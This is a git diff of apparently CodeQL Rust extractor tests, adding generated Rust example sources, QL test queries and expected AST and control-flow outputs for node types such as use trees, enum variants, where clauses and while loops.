e69de29bb2d1..81b2c2c8ad35 100644 --- a/rust/ql/test/extractor-tests/generated/Use/Use_getUseTree.expected +++ b/rust/ql/test/extractor-tests/generated/Use/Use_getUseTree.expected @@ -0,0 +1 @@ +| gen_use.rs:4:5:5:34 | use ...::HashMap | gen_use.rs:5:9:5:33 | ...::HashMap | diff --git a/rust/ql/test/extractor-tests/generated/Use/gen_use.rs b/rust/ql/test/extractor-tests/generated/Use/gen_use.rs index c61de79f9ff0..193d9a1c6556 100644 --- a/rust/ql/test/extractor-tests/generated/Use/gen_use.rs +++ b/rust/ql/test/extractor-tests/generated/Use/gen_use.rs @@ -1,6 +1,6 @@ // generated by codegen, do not edit fn test_use() -> () { - // A Use. For example: - todo!() + // A `use` statement. For example: + use std::collections::HashMap; } diff --git a/rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/MISSING_SOURCE.txt b/rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/MISSING_SOURCE.txt deleted file mode 100644 index 7f96b17b1f3c..000000000000 --- a/rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/MISSING_SOURCE.txt +++ /dev/null @@ -1,4 +0,0 @@ -// generated by codegen, do not edit - -After a source file is added in this directory and codegen is run again, test queries -will appear and this file will be deleted diff --git a/rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/UseBoundGenericArgs.expected b/rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/UseBoundGenericArgs.expected new file mode 100644 index 000000000000..3ea69e78251e --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/UseBoundGenericArgs.expected @@ -0,0 +1 @@ +| gen_use_bound_generic_args.rs:7:62:7:71 | UseBoundGenericArgs | getNumberOfUseBoundGenericArgs: | 3 | diff --git a/rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/UseBoundGenericArgs.ql b/rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/UseBoundGenericArgs.ql new file mode 100644 index 000000000000..5100891c77a7 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/UseBoundGenericArgs.ql @@ -0,0 +1,10 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from UseBoundGenericArgs x, int getNumberOfUseBoundGenericArgs +where + toBeTested(x) and + not x.isUnknown() and + getNumberOfUseBoundGenericArgs = x.getNumberOfUseBoundGenericArgs() +select x, "getNumberOfUseBoundGenericArgs:", getNumberOfUseBoundGenericArgs diff --git a/rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/UseBoundGenericArgs_getUseBoundGenericArg.expected b/rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/UseBoundGenericArgs_getUseBoundGenericArg.expected new file mode 100644 index 000000000000..9cae2694f993 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/UseBoundGenericArgs_getUseBoundGenericArg.expected @@ -0,0 +1,3 @@ +| gen_use_bound_generic_args.rs:7:62:7:71 | UseBoundGenericArgs | 0 | gen_use_bound_generic_args.rs:7:63:7:64 | 'a | +| gen_use_bound_generic_args.rs:7:62:7:71 | UseBoundGenericArgs | 1 | gen_use_bound_generic_args.rs:7:67:7:67 | T | +| gen_use_bound_generic_args.rs:7:62:7:71 | UseBoundGenericArgs | 2 | gen_use_bound_generic_args.rs:7:70:7:70 | N | diff --git a/rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/UseBoundGenericArgs_getUseBoundGenericArg.ql b/rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/UseBoundGenericArgs_getUseBoundGenericArg.ql new file mode 100644 index 000000000000..794bf615b049 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/UseBoundGenericArgs_getUseBoundGenericArg.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from UseBoundGenericArgs x, int index +where toBeTested(x) and not x.isUnknown() +select x, index, x.getUseBoundGenericArg(index) diff --git a/rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/gen_use_bound_generic_args.rs b/rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/gen_use_bound_generic_args.rs new file mode 100644 index 000000000000..bb04264d33e1 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/gen_use_bound_generic_args.rs @@ -0,0 +1,9 @@ +// generated by codegen, do not edit + +fn test_use_bound_generic_args() -> () { + // A use<..> bound to control which generic parameters are captured by an impl Trait return type. + // + // For example: + pub fn hello<'a, T, const N: usize>() -> impl Sized + use<'a, T, N> {} + // ^^^^^^^^ +} diff --git a/rust/ql/test/extractor-tests/generated/UseTree/gen_use_tree.rs b/rust/ql/test/extractor-tests/generated/UseTree/gen_use_tree.rs index 56dba336e8a8..2acaed7e4267 100644 --- a/rust/ql/test/extractor-tests/generated/UseTree/gen_use_tree.rs +++ b/rust/ql/test/extractor-tests/generated/UseTree/gen_use_tree.rs @@ -1,7 +1,7 @@ // generated by codegen, do not edit fn test_use_tree() -> () { - // A UseTree. For example: + // A `use` tree, that is, the part after the `use` keyword in a `use` statement. For example: use std::collections::HashMap; use std::collections::*; use std::collections::HashMap as MyHashMap; diff --git a/rust/ql/test/extractor-tests/generated/UseTreeList/UseTreeList.expected b/rust/ql/test/extractor-tests/generated/UseTreeList/UseTreeList.expected index e69de29bb2d1..1d1bbfd4e14d 100644 --- a/rust/ql/test/extractor-tests/generated/UseTreeList/UseTreeList.expected +++ b/rust/ql/test/extractor-tests/generated/UseTreeList/UseTreeList.expected @@ -0,0 +1 @@ +| gen_use_tree_list.rs:7:14:7:21 | UseTreeList | getNumberOfUseTrees: | 2 | diff --git a/rust/ql/test/extractor-tests/generated/UseTreeList/UseTreeList_getUseTree.expected b/rust/ql/test/extractor-tests/generated/UseTreeList/UseTreeList_getUseTree.expected index e69de29bb2d1..1bfef2daee16 100644 --- a/rust/ql/test/extractor-tests/generated/UseTreeList/UseTreeList_getUseTree.expected +++ b/rust/ql/test/extractor-tests/generated/UseTreeList/UseTreeList_getUseTree.expected @@ -0,0 +1,2 @@ +| gen_use_tree_list.rs:7:14:7:21 | UseTreeList | 0 | gen_use_tree_list.rs:7:15:7:16 | fs | +| gen_use_tree_list.rs:7:14:7:21 | UseTreeList | 1 | gen_use_tree_list.rs:7:19:7:20 | io | diff --git a/rust/ql/test/extractor-tests/generated/UseTreeList/gen_use_tree_list.rs b/rust/ql/test/extractor-tests/generated/UseTreeList/gen_use_tree_list.rs index dfbdef694084..f0516ba22742 100644 --- a/rust/ql/test/extractor-tests/generated/UseTreeList/gen_use_tree_list.rs +++ b/rust/ql/test/extractor-tests/generated/UseTreeList/gen_use_tree_list.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_use_tree_list() -> () { - // A UseTreeList. For example: - todo!() + // A list of use trees in a use declaration. + // + // For example: + use std::{fs, io}; + // ^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/Variant/Variant.expected b/rust/ql/test/extractor-tests/generated/Variant/Variant.expected index e69de29bb2d1..cca0757d4586 100644 --- a/rust/ql/test/extractor-tests/generated/Variant/Variant.expected +++ b/rust/ql/test/extractor-tests/generated/Variant/Variant.expected @@ -0,0 +1,3 @@ +| gen_variant.rs:7:14:7:14 | A | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | getNumberOfAttrs: | 0 | hasDiscriminant: | no | hasFieldList: | no | hasName: | yes | hasVisibility: | no | +| gen_variant.rs:7:17:7:22 | B | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | getNumberOfAttrs: | 0 | hasDiscriminant: | no | hasFieldList: | yes | hasName: | yes | hasVisibility: | no | +| gen_variant.rs:7:25:7:36 | C | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | getNumberOfAttrs: | 0 | hasDiscriminant: | no | hasFieldList: | yes | hasName: | yes | hasVisibility: | no | diff --git a/rust/ql/test/extractor-tests/generated/Variant/Variant_getFieldList.expected b/rust/ql/test/extractor-tests/generated/Variant/Variant_getFieldList.expected index e69de29bb2d1..9461de62cc6a 100644 --- a/rust/ql/test/extractor-tests/generated/Variant/Variant_getFieldList.expected +++ b/rust/ql/test/extractor-tests/generated/Variant/Variant_getFieldList.expected @@ -0,0 +1,2 @@ +| gen_variant.rs:7:17:7:22 | B | gen_variant.rs:7:18:7:22 | TupleFieldList | +| gen_variant.rs:7:25:7:36 | C | gen_variant.rs:7:27:7:36 | StructFieldList | diff --git a/rust/ql/test/extractor-tests/generated/Variant/Variant_getName.expected b/rust/ql/test/extractor-tests/generated/Variant/Variant_getName.expected index e69de29bb2d1..87faede2aada 100644 --- a/rust/ql/test/extractor-tests/generated/Variant/Variant_getName.expected +++ b/rust/ql/test/extractor-tests/generated/Variant/Variant_getName.expected @@ -0,0 +1,3 @@ +| gen_variant.rs:7:14:7:14 | A | gen_variant.rs:7:14:7:14 | A | +| gen_variant.rs:7:17:7:22 | B | gen_variant.rs:7:17:7:17 | B | +| gen_variant.rs:7:25:7:36 | C | gen_variant.rs:7:25:7:25 | C | diff --git a/rust/ql/test/extractor-tests/generated/Variant/gen_variant.rs b/rust/ql/test/extractor-tests/generated/Variant/gen_variant.rs index 37e7506e2bcc..91d4614d5ed8 100644 --- a/rust/ql/test/extractor-tests/generated/Variant/gen_variant.rs +++ b/rust/ql/test/extractor-tests/generated/Variant/gen_variant.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_variant() -> () { - // A Variant. For example: - todo!() + // A variant in an enum declaration. + // + // For example: + enum E { A, B(i32), C { x: i32 } } + // ^ ^^^^^^ ^^^^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/VariantList/VariantList.expected b/rust/ql/test/extractor-tests/generated/VariantList/VariantList.expected index e69de29bb2d1..b7b25116f580 100644 --- a/rust/ql/test/extractor-tests/generated/VariantList/VariantList.expected +++ b/rust/ql/test/extractor-tests/generated/VariantList/VariantList.expected @@ -0,0 +1 @@ +| gen_variant_list.rs:7:12:7:22 | VariantList | getNumberOfVariants: | 3 | diff --git a/rust/ql/test/extractor-tests/generated/VariantList/VariantList_getVariant.expected b/rust/ql/test/extractor-tests/generated/VariantList/VariantList_getVariant.expected index e69de29bb2d1..c62dfe004724 100644 --- a/rust/ql/test/extractor-tests/generated/VariantList/VariantList_getVariant.expected +++ b/rust/ql/test/extractor-tests/generated/VariantList/VariantList_getVariant.expected @@ -0,0 +1,3 @@ +| gen_variant_list.rs:7:12:7:22 | VariantList | 0 | gen_variant_list.rs:7:14:7:14 | A | +| gen_variant_list.rs:7:12:7:22 | VariantList | 1 | gen_variant_list.rs:7:17:7:17 | B | +| gen_variant_list.rs:7:12:7:22 | VariantList | 2 | gen_variant_list.rs:7:20:7:20 | C | diff --git a/rust/ql/test/extractor-tests/generated/VariantList/gen_variant_list.rs b/rust/ql/test/extractor-tests/generated/VariantList/gen_variant_list.rs index c13f6430cc65..44a126fbbc8e 100644 --- a/rust/ql/test/extractor-tests/generated/VariantList/gen_variant_list.rs +++ b/rust/ql/test/extractor-tests/generated/VariantList/gen_variant_list.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_variant_list() -> () { - // A VariantList. For example: - todo!() + // A list of variants in an enum declaration. + // + // For example: + enum E { A, B, C } + // ^^^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/Visibility/Visibility.expected b/rust/ql/test/extractor-tests/generated/Visibility/Visibility.expected index e69de29bb2d1..7be919b547e7 100644 --- a/rust/ql/test/extractor-tests/generated/Visibility/Visibility.expected +++ b/rust/ql/test/extractor-tests/generated/Visibility/Visibility.expected @@ -0,0 +1 @@ +| gen_visibility.rs:7:7:7:9 | Visibility | hasPath: | no | diff --git a/rust/ql/test/extractor-tests/generated/Visibility/gen_visibility.rs b/rust/ql/test/extractor-tests/generated/Visibility/gen_visibility.rs index 5dbc762f3e73..6f2292f23599 100644 --- a/rust/ql/test/extractor-tests/generated/Visibility/gen_visibility.rs +++ b/rust/ql/test/extractor-tests/generated/Visibility/gen_visibility.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_visibility() -> () { - // A Visibility. For example: - todo!() + // A visibility modifier. + // + // For example: + pub struct S; + //^^^ } diff --git a/rust/ql/test/extractor-tests/generated/WhereClause/WhereClause.expected b/rust/ql/test/extractor-tests/generated/WhereClause/WhereClause.expected index e69de29bb2d1..4610fc7dea16 100644 --- a/rust/ql/test/extractor-tests/generated/WhereClause/WhereClause.expected +++ b/rust/ql/test/extractor-tests/generated/WhereClause/WhereClause.expected @@ -0,0 +1 @@ +| gen_where_clause.rs:7:21:7:34 | WhereClause | getNumberOfPredicates: | 1 | diff --git a/rust/ql/test/extractor-tests/generated/WhereClause/WhereClause_getPredicate.expected b/rust/ql/test/extractor-tests/generated/WhereClause/WhereClause_getPredicate.expected index e69de29bb2d1..b8fcba86a6a6 100644 --- a/rust/ql/test/extractor-tests/generated/WhereClause/WhereClause_getPredicate.expected +++ b/rust/ql/test/extractor-tests/generated/WhereClause/WhereClause_getPredicate.expected @@ -0,0 +1 @@ +| gen_where_clause.rs:7:21:7:34 | WhereClause | 0 | gen_where_clause.rs:7:27:7:34 | WherePred | diff --git a/rust/ql/test/extractor-tests/generated/WhereClause/gen_where_clause.rs b/rust/ql/test/extractor-tests/generated/WhereClause/gen_where_clause.rs index ef389c9ee4f4..9d3dd408d40c 100644 --- a/rust/ql/test/extractor-tests/generated/WhereClause/gen_where_clause.rs +++ b/rust/ql/test/extractor-tests/generated/WhereClause/gen_where_clause.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_where_clause() -> () { - // A WhereClause. For example: - todo!() + // A where clause in a generic declaration. + // + // For example: + fn foo(t: T) where T: Debug {} + // ^^^^^^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/WherePred/WherePred.expected b/rust/ql/test/extractor-tests/generated/WherePred/WherePred.expected index e69de29bb2d1..d2988eb245d1 100644 --- a/rust/ql/test/extractor-tests/generated/WherePred/WherePred.expected +++ b/rust/ql/test/extractor-tests/generated/WherePred/WherePred.expected @@ -0,0 +1,2 @@ +| gen_where_pred.rs:7:36:7:43 | WherePred | hasGenericParamList: | no | hasLifetime: | no | hasTypeRepr: | yes | hasTypeBoundList: | yes | +| gen_where_pred.rs:7:46:7:53 | WherePred | hasGenericParamList: | no | hasLifetime: | no | hasTypeRepr: | yes | hasTypeBoundList: | yes | diff --git a/rust/ql/test/extractor-tests/generated/WherePred/WherePred_getTypeBoundList.expected b/rust/ql/test/extractor-tests/generated/WherePred/WherePred_getTypeBoundList.expected index e69de29bb2d1..2b3b7d1172ab 100644 --- a/rust/ql/test/extractor-tests/generated/WherePred/WherePred_getTypeBoundList.expected +++ b/rust/ql/test/extractor-tests/generated/WherePred/WherePred_getTypeBoundList.expected @@ -0,0 +1,2 @@ +| gen_where_pred.rs:7:36:7:43 | WherePred | gen_where_pred.rs:7:39:7:43 | TypeBoundList | +| gen_where_pred.rs:7:46:7:53 | WherePred | gen_where_pred.rs:7:49:7:53 | TypeBoundList | diff --git a/rust/ql/test/extractor-tests/generated/WherePred/WherePred_getTypeRepr.expected b/rust/ql/test/extractor-tests/generated/WherePred/WherePred_getTypeRepr.expected index e69de29bb2d1..92c8489eda04 100644 --- a/rust/ql/test/extractor-tests/generated/WherePred/WherePred_getTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/WherePred/WherePred_getTypeRepr.expected @@ -0,0 +1,2 @@ +| gen_where_pred.rs:7:36:7:43 | WherePred | gen_where_pred.rs:7:36:7:36 | T | +| gen_where_pred.rs:7:46:7:53 | WherePred | gen_where_pred.rs:7:46:7:46 | U | diff --git a/rust/ql/test/extractor-tests/generated/WherePred/gen_where_pred.rs b/rust/ql/test/extractor-tests/generated/WherePred/gen_where_pred.rs index 781d4697e20a..48a6b7bf2564 100644 --- a/rust/ql/test/extractor-tests/generated/WherePred/gen_where_pred.rs +++ b/rust/ql/test/extractor-tests/generated/WherePred/gen_where_pred.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_where_pred() -> () { - // A WherePred. For example: - todo!() + // A predicate in a where clause. + // + // For example: + fn foo(t: T, u: U) where T: Debug, U: Clone {} + // ^^^^^^^^ ^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/WhileExpr/WhileExpr.expected b/rust/ql/test/extractor-tests/generated/WhileExpr/WhileExpr.expected index e69de29bb2d1..547e3e0ad2e6 100644 --- a/rust/ql/test/extractor-tests/generated/WhileExpr/WhileExpr.expected +++ b/rust/ql/test/extractor-tests/generated/WhileExpr/WhileExpr.expected @@ -0,0 +1 @@ +| gen_while_expr.rs:7:5:9:5 | while ... { ... } | hasLabel: | no | hasLoopBody: | yes | getNumberOfAttrs: | 0 | hasCondition: | yes | diff --git a/rust/ql/test/extractor-tests/generated/WhileExpr/WhileExpr_getCondition.expected b/rust/ql/test/extractor-tests/generated/WhileExpr/WhileExpr_getCondition.expected index e69de29bb2d1..1b6f53eeea0e 100644 --- a/rust/ql/test/extractor-tests/generated/WhileExpr/WhileExpr_getCondition.expected +++ b/rust/ql/test/extractor-tests/generated/WhileExpr/WhileExpr_getCondition.expected @@ -0,0 +1 @@ +| gen_while_expr.rs:7:5:9:5 | while ... { ... } | gen_while_expr.rs:7:11:7:16 | ... < ... | diff --git a/rust/ql/test/extractor-tests/generated/WhileExpr/WhileExpr_getLoopBody.expected b/rust/ql/test/extractor-tests/generated/WhileExpr/WhileExpr_getLoopBody.expected index e69de29bb2d1..54fd5ed51520 100644 --- a/rust/ql/test/extractor-tests/generated/WhileExpr/WhileExpr_getLoopBody.expected +++ b/rust/ql/test/extractor-tests/generated/WhileExpr/WhileExpr_getLoopBody.expected @@ -0,0 +1 @@ +| gen_while_expr.rs:7:5:9:5 | while ... { ... } | gen_while_expr.rs:7:18:9:5 | { ... } | diff --git a/rust/ql/test/extractor-tests/generated/WhileExpr/gen_while_expr.rs b/rust/ql/test/extractor-tests/generated/WhileExpr/gen_while_expr.rs index 5078a8a794f5..92f095e34d29 100644 --- a/rust/ql/test/extractor-tests/generated/WhileExpr/gen_while_expr.rs +++ b/rust/ql/test/extractor-tests/generated/WhileExpr/gen_while_expr.rs @@ -1,6 +1,10 @@ // generated by codegen, do not edit fn test_while_expr() -> () { - // A WhileExpr. For example: - todo!() + // A while loop expression. + // + // For example: + while x < 10 { + x += 1; + } } diff --git a/rust/ql/test/extractor-tests/literal/literal.ql b/rust/ql/test/extractor-tests/literal/literal.ql index 3585ad2f5b91..21c36ab57618 100644 --- a/rust/ql/test/extractor-tests/literal/literal.ql +++ b/rust/ql/test/extractor-tests/literal/literal.ql @@ -1,13 +1,16 @@ import rust +import TestUtils -query predicate charLiteral(CharLiteralExpr e) { any() } +query predicate charLiteral(CharLiteralExpr e) { toBeTested(e) } -query predicate stringLiteral(StringLiteralExpr e) { any() } +query predicate stringLiteral(StringLiteralExpr e) { toBeTested(e) } query predicate integerLiteral(IntegerLiteralExpr e, string suffix) { - suffix = concat(e.getSuffix()) + toBeTested(e) and suffix = concat(e.getSuffix()) } -query predicate floatLiteral(FloatLiteralExpr e, string suffix) { suffix = concat(e.getSuffix()) } +query predicate floatLiteral(FloatLiteralExpr e, string suffix) { + toBeTested(e) and suffix = concat(e.getSuffix()) +} -query predicate booleanLiteral(BooleanLiteralExpr e) { any() } +query predicate booleanLiteral(BooleanLiteralExpr e) { toBeTested(e) } diff --git a/rust/ql/test/extractor-tests/macro_expansion/PrintAst.expected b/rust/ql/test/extractor-tests/macro_expansion/PrintAst.expected new file mode 100644 index 000000000000..3881faafeac4 --- /dev/null +++ b/rust/ql/test/extractor-tests/macro_expansion/PrintAst.expected @@ -0,0 +1,155 @@ +lib.rs: +# 1| [SourceFile] SourceFile +# 1| getItem(0): [Module] mod macro_expansion +# 1| getName(): [Name] macro_expansion +macro_expansion.rs: +# 1| [SourceFile] SourceFile +# 1| getItem(0): [Function] fn foo +# 2| getAttributeMacroExpansion(): [MacroItems] MacroItems +# 2| getItem(0): [Function] fn foo +# 1| getParamList(): [ParamList] ParamList +# 1| getAbi(): [Abi] Abi +# 2| getBody(): [BlockExpr] { ... } +# 2| getStmtList(): [StmtList] StmtList +# 2| getName(): [Name] foo +# 2| getItem(1): [Static] Static +# 1| getAttr(0): [Attr] Attr +# 1| getMeta(): [Meta] Meta +# 1| getPath(): [Path] used +# 1| getSegment(): [PathSegment] used +# 1| getIdentifier(): [NameRef] used +# 1| getAttr(1): [Attr] Attr +# 1| getMeta(): [Meta] Meta +# 1| getPath(): [Path] allow +# 1| getSegment(): [PathSegment] allow +# 1| getIdentifier(): [NameRef] allow +# 1| getTokenTree(): [TokenTree] TokenTree +# 1| getAttr(2): [Attr] Attr +# 1| getMeta(): [Meta] Meta +# 1| getPath(): [Path] doc +# 1| getSegment(): [PathSegment] doc +# 1| getIdentifier(): [NameRef] doc +# 1| getTokenTree(): [TokenTree] TokenTree +# 1| getAttr(3): [Attr] Attr +# 1| getMeta(): [Meta] Meta +# 1| getPath(): [Path] cfg_attr +# 1| getSegment(): [PathSegment] cfg_attr +# 1| getIdentifier(): [NameRef] cfg_attr +# 1| getTokenTree(): [TokenTree] TokenTree +# 1| getAttr(4): [Attr] Attr +# 1| getMeta(): [Meta] Meta +# 1| getPath(): [Path] cfg_attr +# 1| getSegment(): [PathSegment] cfg_attr +# 1| getIdentifier(): [NameRef] cfg_attr +# 1| getTokenTree(): [TokenTree] TokenTree +# 1| getAttr(5): [Attr] Attr +# 1| getMeta(): [Meta] Meta +# 1| getPath(): [Path] cfg_attr +# 1| getSegment(): [PathSegment] cfg_attr +# 1| getIdentifier(): [NameRef] cfg_attr +# 1| getTokenTree(): [TokenTree] TokenTree +# 1| getAttr(6): [Attr] Attr +# 1| getMeta(): [Meta] Meta +# 1| getPath(): [Path] cfg_attr +# 1| getSegment(): [PathSegment] cfg_attr +# 1| getIdentifier(): [NameRef] cfg_attr +# 1| getTokenTree(): [TokenTree] TokenTree +# 1| getAttr(7): [Attr] Attr +# 1| getMeta(): [Meta] Meta +# 1| getPath(): [Path] cfg_attr +# 1| getSegment(): [PathSegment] cfg_attr +# 1| getIdentifier(): [NameRef] cfg_attr +# 1| getTokenTree(): [TokenTree] TokenTree +# 1| getAttr(8): [Attr] Attr +# 1| getMeta(): [Meta] Meta +# 1| getPath(): [Path] cfg_attr +# 1| getSegment(): [PathSegment] cfg_attr +# 1| getIdentifier(): [NameRef] cfg_attr +# 1| getTokenTree(): [TokenTree] TokenTree +# 1| getAttr(9): [Attr] Attr +# 1| getMeta(): [Meta] Meta +# 1| getPath(): [Path] cfg_attr +# 1| getSegment(): [PathSegment] cfg_attr +# 1| getIdentifier(): [NameRef] cfg_attr +# 1| getTokenTree(): [TokenTree] TokenTree +# 1| getAttr(10): [Attr] Attr +# 1| getMeta(): [Meta] Meta +# 1| getPath(): [Path] cfg_attr +# 1| getSegment(): [PathSegment] cfg_attr +# 1| getIdentifier(): [NameRef] cfg_attr +# 1| getTokenTree(): [TokenTree] TokenTree +# 1| getAttr(11): [Attr] Attr +# 1| getMeta(): [Meta] Meta +# 1| getPath(): [Path] cfg_attr +# 1| getSegment(): [PathSegment] cfg_attr +# 1| getIdentifier(): [NameRef] cfg_attr +# 1| getTokenTree(): [TokenTree] TokenTree +# 2| getBody(): [BlockExpr] { ... } +# 2| getStmtList(): [StmtList] StmtList +# 2| getStatement(0): [Function] fn foo___rust_ctor___ctor +# 1| getParamList(): [ParamList] ParamList +# 1| getAttr(0): [Attr] Attr +# 1| getMeta(): [Meta] Meta +# 1| getPath(): [Path] allow +# 1| getSegment(): [PathSegment] allow +# 1| getIdentifier(): [NameRef] allow +# 1| getTokenTree(): [TokenTree] TokenTree +# 1| getAttr(1): [Attr] Attr +# 1| getMeta(): [Meta] Meta +# 1| getPath(): [Path] cfg_attr +# 1| getSegment(): [PathSegment] cfg_attr +# 1| getIdentifier(): [NameRef] cfg_attr +# 1| getTokenTree(): [TokenTree] TokenTree +# 1| getAbi(): [Abi] Abi +# 2| getBody(): [BlockExpr] { ... } +# 2| getStmtList(): [StmtList] StmtList +# 2| getStatement(0): [ExprStmt] ExprStmt +# 2| getExpr(): [CallExpr] foo(...) +# 1| getArgList(): [ArgList] ArgList +# 2| getFunction(): [PathExpr] foo +# 2| getPath(): [Path] foo +# 2| getSegment(): [PathSegment] foo +# 2| getIdentifier(): [NameRef] foo +# 1| getTailExpr(): [IntegerLiteralExpr] 0 +# 1| getName(): [Name] foo___rust_ctor___ctor +# 1| getRetType(): [RetTypeRepr] RetTypeRepr +# 1| getTypeRepr(): [PathTypeRepr] usize +# 1| getPath(): [Path] usize +# 1| getSegment(): [PathSegment] usize +# 1| getIdentifier(): [NameRef] usize +# 1| getTailExpr(): [PathExpr] foo___rust_ctor___ctor +# 1| getPath(): [Path] foo___rust_ctor___ctor +# 1| getSegment(): [PathSegment] foo___rust_ctor___ctor +# 1| getIdentifier(): [NameRef] foo___rust_ctor___ctor +# 1| getName(): [Name] foo___rust_ctor___ctor +# 1| getTypeRepr(): [FnPtrTypeRepr] FnPtrTypeRepr +# 1| getAbi(): [Abi] Abi +# 1| getParamList(): [ParamList] ParamList +# 1| getRetType(): [RetTypeRepr] RetTypeRepr +# 1| getTypeRepr(): [PathTypeRepr] usize +# 1| getPath(): [Path] usize +# 1| getSegment(): [PathSegment] usize +# 1| getIdentifier(): [NameRef] usize +# 2| getParamList(): [ParamList] ParamList +# 1| getAttr(0): [Attr] Attr +# 1| getMeta(): [Meta] Meta +# 1| getPath(): [Path] ...::ctor +# 1| getQualifier(): [Path] ctor +# 1| getSegment(): [PathSegment] ctor +# 1| getIdentifier(): [NameRef] ctor +# 1| getSegment(): [PathSegment] ctor +# 1| getIdentifier(): [NameRef] ctor +# 2| getBody(): [BlockExpr] { ... } +# 2| getStmtList(): [StmtList] StmtList +# 2| getName(): [Name] foo +# 4| getItem(1): [Function] fn bar +# 5| getParamList(): [ParamList] ParamList +# 4| getAttr(0): [Attr] Attr +# 4| getMeta(): [Meta] Meta +# 4| getPath(): [Path] cfg +# 4| getSegment(): [PathSegment] cfg +# 4| getIdentifier(): [NameRef] cfg +# 4| getTokenTree(): [TokenTree] TokenTree +# 5| getBody(): [BlockExpr] { ... } +# 5| getStmtList(): [StmtList] StmtList +# 5| getName(): [Name] bar diff --git a/rust/ql/test/extractor-tests/macro_expansion/PrintAst.qlref b/rust/ql/test/extractor-tests/macro_expansion/PrintAst.qlref new file mode 100644 index 000000000000..ee3c14c56f15 --- /dev/null +++ b/rust/ql/test/extractor-tests/macro_expansion/PrintAst.qlref @@ -0,0 +1 @@ +utils/PrintAst.ql diff --git a/rust/ql/test/extractor-tests/macro_expansion/macro_expansion.rs b/rust/ql/test/extractor-tests/macro_expansion/macro_expansion.rs new file mode 100644 index 000000000000..1825f1056e35 --- /dev/null +++ b/rust/ql/test/extractor-tests/macro_expansion/macro_expansion.rs @@ -0,0 +1,8 @@ +#[ctor::ctor] +fn foo() {} + +#[cfg(any(linux, not(linux)))] +fn bar() {} + +#[cfg(all(linux, not(linux)))] +fn baz() {} diff --git a/rust/ql/test/extractor-tests/macro_expansion/options.yml b/rust/ql/test/extractor-tests/macro_expansion/options.yml new file mode 100644 index 000000000000..07ec8d1b4eb3 --- /dev/null +++ b/rust/ql/test/extractor-tests/macro_expansion/options.yml @@ -0,0 +1,2 @@ +qltest_dependencies: + - ctor = { version = "0.2.9" } diff --git a/rust/ql/test/extractor-tests/macro_expansion/test.expected b/rust/ql/test/extractor-tests/macro_expansion/test.expected new file mode 100644 index 000000000000..26a02ec82527 --- /dev/null +++ b/rust/ql/test/extractor-tests/macro_expansion/test.expected @@ -0,0 +1,2 @@ +| macro_expansion.rs:1:1:2:11 | fn foo | 0 | macro_expansion.rs:2:4:2:10 | fn foo | +| macro_expansion.rs:1:1:2:11 | fn foo | 1 | macro_expansion.rs:2:4:2:6 | Static | diff --git a/rust/ql/test/extractor-tests/macro_expansion/test.ql b/rust/ql/test/extractor-tests/macro_expansion/test.ql new file mode 100644 index 000000000000..17bc7d47b1d6 --- /dev/null +++ b/rust/ql/test/extractor-tests/macro_expansion/test.ql @@ -0,0 +1,6 @@ +import rust +import TestUtils + +from Item i, MacroItems items, int index, Item expanded +where toBeTested(i) and i.getAttributeMacroExpansion() = items and items.getItem(index) = expanded +select i, index, expanded diff --git a/rust/ql/test/library-tests/controlflow/BasicBlocks.expected b/rust/ql/test/library-tests/controlflow/BasicBlocks.expected index 2b87a4996b17..1b4b770c1309 100644 --- a/rust/ql/test/library-tests/controlflow/BasicBlocks.expected +++ b/rust/ql/test/library-tests/controlflow/BasicBlocks.expected @@ -675,20 +675,11 @@ dominates | test.rs:453:5:458:5 | enter fn or_pattern_3 | test.rs:455:13:455:25 | 2 | | test.rs:453:5:458:5 | enter fn or_pattern_3 | test.rs:455:13:455:25 | [match(false)] 1 \| 2 | | test.rs:453:5:458:5 | enter fn or_pattern_3 | test.rs:455:13:455:25 | [match(true)] 1 \| 2 | -| test.rs:453:5:458:5 | enter fn or_pattern_3 | test.rs:455:13:455:25 | one_or_two!... | -| test.rs:453:5:458:5 | enter fn or_pattern_3 | test.rs:455:30:455:30 | 3 | -| test.rs:453:5:458:5 | enter fn or_pattern_3 | test.rs:456:13:456:13 | _ | | test.rs:454:9:457:9 | match a { ... } | test.rs:454:9:457:9 | match a { ... } | | test.rs:455:13:455:25 | 2 | test.rs:455:13:455:25 | 2 | | test.rs:455:13:455:25 | 2 | test.rs:455:13:455:25 | [match(false)] 1 \| 2 | -| test.rs:455:13:455:25 | 2 | test.rs:456:13:456:13 | _ | | test.rs:455:13:455:25 | [match(false)] 1 \| 2 | 